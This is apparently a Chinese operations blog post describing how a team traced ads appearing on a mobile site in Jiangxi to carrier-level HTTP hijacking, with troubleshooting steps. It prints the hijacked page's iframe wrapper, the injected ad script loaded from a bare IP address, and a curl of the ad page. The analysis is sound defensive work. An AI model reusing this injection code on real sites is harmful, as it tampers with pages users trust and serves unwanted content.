当前位置 主页 > 本站WEB程序 > 安全 > IIS7网站监控 >

    页面劫持 解决一起web 页面被劫持的案例

    栏目:IIS7网站监控 时间:2020-12-19 11:43

         一、现象

         江西客户手机端连接wifi打开URL,页面上显示淘宝店铺广告,使用手机移动网络打开正常,其他地区正常。

         二、处理过程

         1、初步分析:3g.club项目使用了CDN,目前只有江西异常,其他地区无异常,说明问题范围仅在江西地区,根据业务人员反馈的问题现象,以及以往类似问题处理经验,该问题原因是可能是页面某个js被污染,导致污染的原因可能是dns解析被劫持

         2、检查江西dns对3gclub的解析情况:我们使用江西dns对3g.club进行解析,并让客户在本地ping 域名返回结果,检查解析的IP是否是云端CDN节点,发现我们解析的IP和客户ping结果均正常,节点正确,排除dns解析被劫持原因

         3、向云端CDN技术反馈问题现象,协助排查问题

         4、统计出现此问题的客户端类型,发现手机自带的浏览器和匀加速功能的浏览器均出现问题,排除第三方浏览器云加速导致的问题;由于江西只有一家客户,而且用的是电信网络,所以暂时定位为出现问题的均是电信用户

         5、检查江西节点上页面文件,我们将请求江西节点返回的页面、请求北京地区返回的页面、请求内网服务器返回的页面进行比较,发现页面正常,排除了江西节点到源站之间链路原因,推测原因可能在客户移动端到节点之间链路问题

         6、由于手机没有firbug,无法抓去页面元素,我们试着使用客户那边同局域网内的电脑访问URL,结果问题没有复现。推测可能在劫持时候对request header 里User-Agent有判断。最后使用firfox插件,修改request header里User Agent,模拟手机用户请求,问题依然无法复现

         7、我们试着让客户在url上加了参数进行访问,发现页面正常,去掉参数之后,依然有问题。将此结果反馈给CDN技术,协助排查。发现节点缓存住了页面(默认是穿透CDN回源的),CDN技术清空缓存之后,让客户重新测试,发现问题依旧

         8、最后我们使用博瑞移动端即使测试,复现了问题,拿到页面源码,查到原因是运营商机房去回上层有劫持,最后调整了联系CDN覆盖,问题解决。

         三、劫持原因分析:

         1、异常页面源码:

    <!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="apple-mobile-web-app-capable"content="yes"><meta content="telephone=no"name="format-detection"><meta name="apple-mobile-web-app-status-bar-style"content="black-translucent"><meta name="viewport"content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1"><title></title><style type="text/css">html,body{padding:0;margin:0}</style></head><body><iframe id="content"src="http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1"width="100%"frameborder="no"></iframe></body><script type="text/javascript"src="http://116.62.103.8/ads/adtb.js"></script><script type=“text/javascript">document.getElementById("content").height=window.innerHeight;</script></html>

         说明:通过此段代码可以看出,用户请求http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1的页面已经被替换,通过在页面中嵌入了一个iframe元素,使用src属性来请求正常页面,然后在重新生成页面,将异常广告植入到页面中。

         2、页面异常js 分析:http://116.62.103.8/ads/adtb.js

         文件内容:

    var cript= document.createElement("script");

    var headcont=document.getElementsByTagName("head")[0];

    cript.src="http://cdn.staticfile.org/jquery/1.7/jquery.min.js";

    headcont.appendChild(cript);

    document.onready=function(){

    if($('#JDGPEOGJEO').length<1){

    $('body').append('<div id="JDGPEOGJEO" style="position: fixed; width: 100%;height:124px;left:0;bottom:0; z-index:9999999; "><div id="JFEOCL" style="font-size:16px; width:16px; font-weight:600; height:16px; background:#D6CFCF; text-align:center; line-height:16px; color:#6DBEE8; position: absolute; right:0; top:0;">×</div><iframe id="content" src="http://ali.7676.com/wap/tanx/69910363.html" width="100%" height="124px" style="margin:0px; padding:0px;" frameborder="no" ></iframe></div>')

    $("#JFEOCL").click(function(){

    $(this).parent().remove()

    })

    }

    }

         说明:此js 是判断页面上是否有植入的广告,如果没有的话,则重新生成广告页面,并植入页面,js中调用的方法通过ifram src属性请求http://ali.7676.com/wap/tanx/69910363.html页面,此页面显示空白,但是内部会使用script 元素加载其他js,最后加载的w.js中有各种定义的方法,如对ua判断等

         下面的curl的结果:

    curl http://ali.7676.com/wap/tanx/69910363.html<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" /><style type="text/css"> html,body{margin:0; padding:0px;}</style></head><body><!-- AFP两段式代码-公用代码 --><script type="text/javascript" src="http://afpmm.alicdn.com/g/mm/afp-cdn/JS/w.js"></script>

    <!-- 69910363:测试 - 20170106 类型:移动网页 形式:通栏 尺寸:0x0--><script type="text/javascript">_mmW.q({

    aid:"mm_120329371_20560783_69910363",

    serverbaseurl:"afpeng.alimama.com/"})</script></body></html>